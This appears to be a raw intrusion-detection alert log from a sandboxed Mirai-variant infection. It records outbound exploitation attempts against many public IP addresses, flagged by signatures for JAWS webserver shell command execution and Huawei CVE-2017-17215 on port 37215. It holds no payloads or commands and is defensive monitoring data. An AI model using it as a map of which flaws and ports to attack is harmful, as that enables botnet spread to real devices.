                                                          2024-12-03T23:17:10.213464+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348388216.45.248.17280TCP
                                                          2024-12-03T23:17:10.213464+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348388216.45.248.17280TCP
                                                          2024-12-03T23:17:10.213467+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350374118.211.183.6780TCP
                                                          2024-12-03T23:17:10.213467+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350374118.211.183.6780TCP
                                                          2024-12-03T23:17:10.213471+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341142105.208.107.22080TCP
                                                          2024-12-03T23:17:10.213471+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341142105.208.107.22080TCP
                                                          2024-12-03T23:17:10.213471+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336494199.96.168.17980TCP
                                                          2024-12-03T23:17:10.213471+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336494199.96.168.17980TCP
                                                          2024-12-03T23:17:10.213471+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2340216149.214.222.9180TCP
                                                          2024-12-03T23:17:10.213471+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2340216149.214.222.9180TCP
                                                          2024-12-03T23:17:10.409973+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347168156.224.237.8537215TCP
                                                          2024-12-03T23:17:10.637869+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235649241.50.74.6437215TCP
                                                          2024-12-03T23:17:10.647254+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350796156.213.87.16837215TCP
                                                          2024-12-03T23:17:10.841592+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2357816156.242.231.16537215TCP
                                                          2024-12-03T23:17:10.876156+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353784197.5.80.2537215TCP
                                                          2024-12-03T23:17:11.038532+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234667441.174.160.837215TCP
                                                          2024-12-03T23:17:11.122196+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233317064.184.219.4180TCP
                                                          2024-12-03T23:17:11.122196+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233317064.184.219.4180TCP
                                                          2024-12-03T23:17:11.142655+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344118154.175.128.16480TCP
                                                          2024-12-03T23:17:11.142655+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344118154.175.128.16480TCP
                                                          2024-12-03T23:17:11.142655+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2350074112.198.79.12080TCP
                                                          2024-12-03T23:17:11.142655+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2350074112.198.79.12080TCP
                                                          2024-12-03T23:17:11.153355+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233754041.76.192.11680TCP
                                                          2024-12-03T23:17:11.153355+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233754041.76.192.11680TCP
                                                          2024-12-03T23:17:11.162482+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344158131.115.153.20180TCP
                                                          2024-12-03T23:17:11.162482+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344158131.115.153.20180TCP
                                                          2024-12-03T23:17:11.225243+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346904134.104.83.7780TCP
                                                          2024-12-03T23:17:11.225243+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346904134.104.83.7780TCP
                                                          2024-12-03T23:17:11.356561+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233298274.123.234.3580TCP
                                                          2024-12-03T23:17:11.356561+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233298274.123.234.3580TCP
                                                          2024-12-03T23:17:11.372194+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235060090.249.44.17580TCP
                                                          2024-12-03T23:17:11.372194+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235060090.249.44.17580TCP
                                                          2024-12-03T23:17:11.372387+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2335066145.33.190.15780TCP
                                                          2024-12-03T23:17:11.372387+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2335066145.33.190.15780TCP
                                                          2024-12-03T23:17:11.388601+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2342146138.192.209.11980TCP
                                                          2024-12-03T23:17:11.388601+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2342146138.192.209.11980TCP
                                                          2024-12-03T23:17:11.396741+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2335992176.69.242.9480TCP
                                                          2024-12-03T23:17:11.396741+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2335992176.69.242.9480TCP
                                                          2024-12-03T23:17:11.413341+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235311895.58.153.19380TCP
                                                          2024-12-03T23:17:11.413341+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235311895.58.153.19380TCP
                                                          2024-12-03T23:17:11.413343+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2345074217.19.114.22980TCP
                                                          2024-12-03T23:17:11.413343+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2345074217.19.114.22980TCP
                                                          2024-12-03T23:17:11.413492+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344382135.89.3.4480TCP
                                                          2024-12-03T23:17:11.413492+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344382135.89.3.4480TCP
                                                          2024-12-03T23:17:11.428183+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234830049.209.5.24480TCP
                                                          2024-12-03T23:17:11.428183+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234830049.209.5.24480TCP
                                                          2024-12-03T23:17:11.428299+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360176193.206.198.7880TCP
                                                          2024-12-03T23:17:11.428299+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360176193.206.198.7880TCP
                                                          2024-12-03T23:17:11.428411+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348708117.110.109.9980TCP
                                                          2024-12-03T23:17:11.428411+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348708117.110.109.9980TCP
                                                          2024-12-03T23:17:11.428488+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235646632.125.248.3580TCP
                                                          2024-12-03T23:17:11.428488+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235646632.125.248.3580TCP
                                                          2024-12-03T23:17:11.428602+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352612217.189.104.3480TCP
                                                          2024-12-03T23:17:11.428602+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352612217.189.104.3480TCP
                                                          2024-12-03T23:17:11.497193+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344246197.128.128.14637215TCP
                                                          2024-12-03T23:17:11.778295+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2345386197.101.175.18737215TCP
                                                          2024-12-03T23:17:11.803229+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343480156.113.104.22037215TCP
                                                          2024-12-03T23:17:11.887756+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335412197.99.145.037215TCP
                                                          2024-12-03T23:17:11.966520+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344632156.133.165.11537215TCP
                                                          2024-12-03T23:17:11.990637+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341216160.108.6.24680TCP
                                                          2024-12-03T23:17:11.990637+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341216160.108.6.24680TCP
                                                          2024-12-03T23:17:12.021778+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234103053.125.178.18980TCP
                                                          2024-12-03T23:17:12.021778+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234103053.125.178.18980TCP
                                                          2024-12-03T23:17:12.022027+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360208194.223.37.3080TCP
                                                          2024-12-03T23:17:12.022027+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360208194.223.37.3080TCP
                                                          2024-12-03T23:17:12.028478+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349248197.173.204.937215TCP
                                                          2024-12-03T23:17:12.037487+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2358364105.92.24.7280TCP
                                                          2024-12-03T23:17:12.037487+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2358364105.92.24.7280TCP
                                                          2024-12-03T23:17:12.037585+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234152613.3.191.5580TCP
                                                          2024-12-03T23:17:12.037585+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234152613.3.191.5580TCP
                                                          2024-12-03T23:17:12.071052+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2355748197.79.45.18237215TCP
                                                          2024-12-03T23:17:12.086281+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352214197.168.254.20537215TCP
                                                          2024-12-03T23:17:12.147458+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233517641.171.44.19637215TCP
                                                          2024-12-03T23:17:12.147625+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235261441.238.72.22937215TCP
                                                          2024-12-03T23:17:12.418920+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233548487.101.119.20680TCP
                                                          2024-12-03T23:17:12.418920+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233548487.101.119.20680TCP
                                                          2024-12-03T23:17:12.419161+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347686166.27.48.14680TCP
                                                          2024-12-03T23:17:12.419161+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347686166.27.48.14680TCP
                                                          2024-12-03T23:17:12.419191+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235767474.248.70.5380TCP
                                                          2024-12-03T23:17:12.419191+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235767474.248.70.5380TCP
                                                          2024-12-03T23:17:12.419234+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336520206.218.156.5880TCP
                                                          2024-12-03T23:17:12.419234+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336520206.218.156.5880TCP
                                                          2024-12-03T23:17:12.419306+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341066107.228.249.1780TCP
                                                          2024-12-03T23:17:12.419306+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341066107.228.249.1780TCP
                                                          2024-12-03T23:17:12.428414+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360984207.44.6.2880TCP
                                                          2024-12-03T23:17:12.428414+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360984207.44.6.2880TCP
                                                          2024-12-03T23:17:12.459434+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346738110.74.199.9780TCP
                                                          2024-12-03T23:17:12.459434+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346738110.74.199.9780TCP
                                                          2024-12-03T23:17:12.459554+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333370168.200.219.6480TCP
                                                          2024-12-03T23:17:12.459554+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333370168.200.219.6480TCP
                                                          2024-12-03T23:17:12.475298+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235983236.177.131.9080TCP
                                                          2024-12-03T23:17:12.475298+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235983236.177.131.9080TCP
                                                          2024-12-03T23:17:12.475419+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235118481.193.189.21780TCP
                                                          2024-12-03T23:17:12.475419+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235118481.193.189.21780TCP
                                                          2024-12-03T23:17:12.793929+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350496197.48.57.20737215TCP
                                                          2024-12-03T23:17:12.793983+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233393641.181.27.3037215TCP
                                                          2024-12-03T23:17:12.794075+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341580156.196.177.23237215TCP
                                                          2024-12-03T23:17:12.794180+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339288197.28.236.19037215TCP
                                                          2024-12-03T23:17:12.794242+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2346372156.225.40.13137215TCP
                                                          2024-12-03T23:17:12.825245+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333232156.48.44.4637215TCP
                                                          2024-12-03T23:17:12.825442+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233713241.240.1.2237215TCP
                                                          2024-12-03T23:17:12.834556+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334430156.127.13.24037215TCP
                                                          2024-12-03T23:17:12.834638+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334056156.79.85.12037215TCP
                                                          2024-12-03T23:17:12.840909+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2337732197.68.34.7437215TCP
                                                          2024-12-03T23:17:12.841002+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235306241.23.152.11237215TCP
                                                          2024-12-03T23:17:12.841133+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335240197.81.114.15537215TCP
                                                          2024-12-03T23:17:12.841301+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234539041.28.122.11337215TCP
                                                          2024-12-03T23:17:12.841408+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334144156.42.173.14337215TCP
                                                          2024-12-03T23:17:12.841551+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2340604156.153.176.17537215TCP
                                                          2024-12-03T23:17:12.841719+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2356056197.81.131.137215TCP
                                                          2024-12-03T23:17:12.841831+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2358986197.120.27.10737215TCP
                                                          2024-12-03T23:17:12.850137+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234142841.118.107.11337215TCP
                                                          2024-12-03T23:17:12.850232+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333986156.47.233.20037215TCP
                                                          2024-12-03T23:17:12.850438+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341480197.142.95.10437215TCP
                                                          2024-12-03T23:17:12.850564+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234653841.199.42.10937215TCP
                                                          2024-12-03T23:17:12.850704+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2346716197.21.86.4137215TCP
                                                          2024-12-03T23:17:12.850812+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342006156.54.52.6437215TCP
                                                          2024-12-03T23:17:12.850986+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2337612197.3.73.6537215TCP
                                                          2024-12-03T23:17:12.851076+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351038197.170.158.1337215TCP
                                                          2024-12-03T23:17:12.851256+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350508197.45.230.25337215TCP
                                                          2024-12-03T23:17:12.851402+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2337080156.2.32.20537215TCP
                                                          2024-12-03T23:17:13.012752+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352520156.101.193.9537215TCP
                                                          2024-12-03T23:17:13.012803+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342332197.171.142.24937215TCP
                                                          2024-12-03T23:17:13.012936+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343802156.7.205.18337215TCP
                                                          2024-12-03T23:17:13.044014+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343914156.181.180.18037215TCP
                                                          2024-12-03T23:17:13.053256+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338650156.124.6.10437215TCP
                                                          2024-12-03T23:17:13.053434+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235490841.50.237.22437215TCP
                                                          2024-12-03T23:17:13.053700+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339802156.202.143.17637215TCP
                                                          2024-12-03T23:17:13.075240+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2356700156.55.85.2337215TCP
                                                          2024-12-03T23:17:13.084652+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353868197.175.227.3037215TCP
                                                          2024-12-03T23:17:13.100668+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333164156.104.224.25037215TCP
                                                          2024-12-03T23:17:14.075471+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339030197.119.32.2137215TCP
                                                          2024-12-03T23:17:14.090905+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234544841.65.89.17637215TCP
                                                          2024-12-03T23:17:14.091001+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234416441.53.240.9137215TCP
                                                          2024-12-03T23:17:14.091343+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351536156.144.180.22237215TCP
                                                          2024-12-03T23:17:14.100177+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2350342197.186.102.7837215TCP
                                                          2024-12-03T23:17:14.106678+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235389841.150.130.7337215TCP
                                                          2024-12-03T23:17:14.106801+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349936156.67.180.15537215TCP
                                                          2024-12-03T23:17:14.106917+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234133641.211.150.25337215TCP
                                                          2024-12-03T23:17:14.107024+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339304156.122.138.2337215TCP
                                                          2024-12-03T23:17:14.143681+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343094197.129.180.18037215TCP
                                                          2024-12-03T23:17:14.147458+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233459441.197.26.18937215TCP
                                                          2024-12-03T23:17:14.162714+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235533841.122.67.19037215TCP
                                                          2024-12-03T23:17:14.178723+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335226197.197.150.337215TCP
                                                          2024-12-03T23:17:14.178863+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360772156.97.251.24737215TCP
                                                          2024-12-03T23:17:14.178970+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2348274156.45.45.25237215TCP
                                                          2024-12-03T23:17:14.318900+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357228173.42.62.15780TCP
                                                          2024-12-03T23:17:14.318900+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357228173.42.62.15780TCP
                                                          2024-12-03T23:17:14.418984+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235642869.10.3.18480TCP
                                                          2024-12-03T23:17:14.418984+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235642869.10.3.18480TCP
                                                          2024-12-03T23:17:14.419301+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2340820176.250.219.21880TCP
                                                          2024-12-03T23:17:14.419301+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2340820176.250.219.21880TCP
                                                          2024-12-03T23:17:14.434703+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346348133.155.42.20980TCP
                                                          2024-12-03T23:17:14.434703+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346348133.155.42.20980TCP
                                                          2024-12-03T23:17:14.466370+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233802241.75.167.18180TCP
                                                          2024-12-03T23:17:14.466370+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233802241.75.167.18180TCP
                                                          2024-12-03T23:17:14.475054+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359036125.159.204.22180TCP
                                                          2024-12-03T23:17:14.475054+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359036125.159.204.22180TCP
                                                          2024-12-03T23:17:14.841011+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235664241.244.31.15037215TCP
                                                          2024-12-03T23:17:14.850206+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360052156.191.5.5737215TCP
                                                          2024-12-03T23:17:14.850311+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347960156.151.133.16537215TCP
                                                          2024-12-03T23:17:14.881483+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2340938197.22.3.21837215TCP
                                                          2024-12-03T23:17:14.950263+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233475641.5.104.10037215TCP
                                                          2024-12-03T23:17:14.950459+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235637841.49.33.24537215TCP
                                                          2024-12-03T23:17:14.966457+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.236013641.47.204.10837215TCP
                                                          2024-12-03T23:17:14.966840+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351584156.87.239.15837215TCP
                                                          2024-12-03T23:17:14.966842+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234036641.131.210.9237215TCP
                                                          2024-12-03T23:17:14.975178+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334606197.117.181.637215TCP
                                                          2024-12-03T23:17:14.975333+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333220156.151.72.16837215TCP
                                                          2024-12-03T23:17:14.975467+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2355824156.251.110.11637215TCP
                                                          2024-12-03T23:17:15.122291+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235433641.214.171.16537215TCP
                                                          2024-12-03T23:17:15.150239+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2347286197.213.171.13637215TCP
                                                          2024-12-03T23:17:15.153306+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233561841.235.181.10037215TCP
                                                          2024-12-03T23:17:15.169066+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338810156.200.241.12937215TCP
                                                          2024-12-03T23:17:15.209683+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335786197.16.62.18537215TCP
                                                          2024-12-03T23:17:15.216104+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235590441.80.208.21737215TCP
                                                          2024-12-03T23:17:15.225382+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233652441.39.127.22737215TCP
                                                          2024-12-03T23:17:15.262889+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336772209.190.249.4280TCP
                                                          2024-12-03T23:17:15.262889+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336772209.190.249.4280TCP
                                                          2024-12-03T23:17:15.319181+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234134498.23.1.1280TCP
                                                          2024-12-03T23:17:15.319181+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234134498.23.1.1280TCP
                                                          2024-12-03T23:17:15.350221+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234043285.157.24.22680TCP
                                                          2024-12-03T23:17:15.350221+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234043285.157.24.22680TCP
                                                          2024-12-03T23:17:15.958104+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347920104.94.218.16880TCP
                                                          2024-12-03T23:17:15.958104+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347920104.94.218.16880TCP
                                                          2024-12-03T23:17:16.200614+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344880197.5.171.937215TCP
                                                          2024-12-03T23:17:16.326940+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351128197.125.253.24337215TCP
                                                          2024-12-03T23:17:16.340886+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2356254197.238.134.5037215TCP
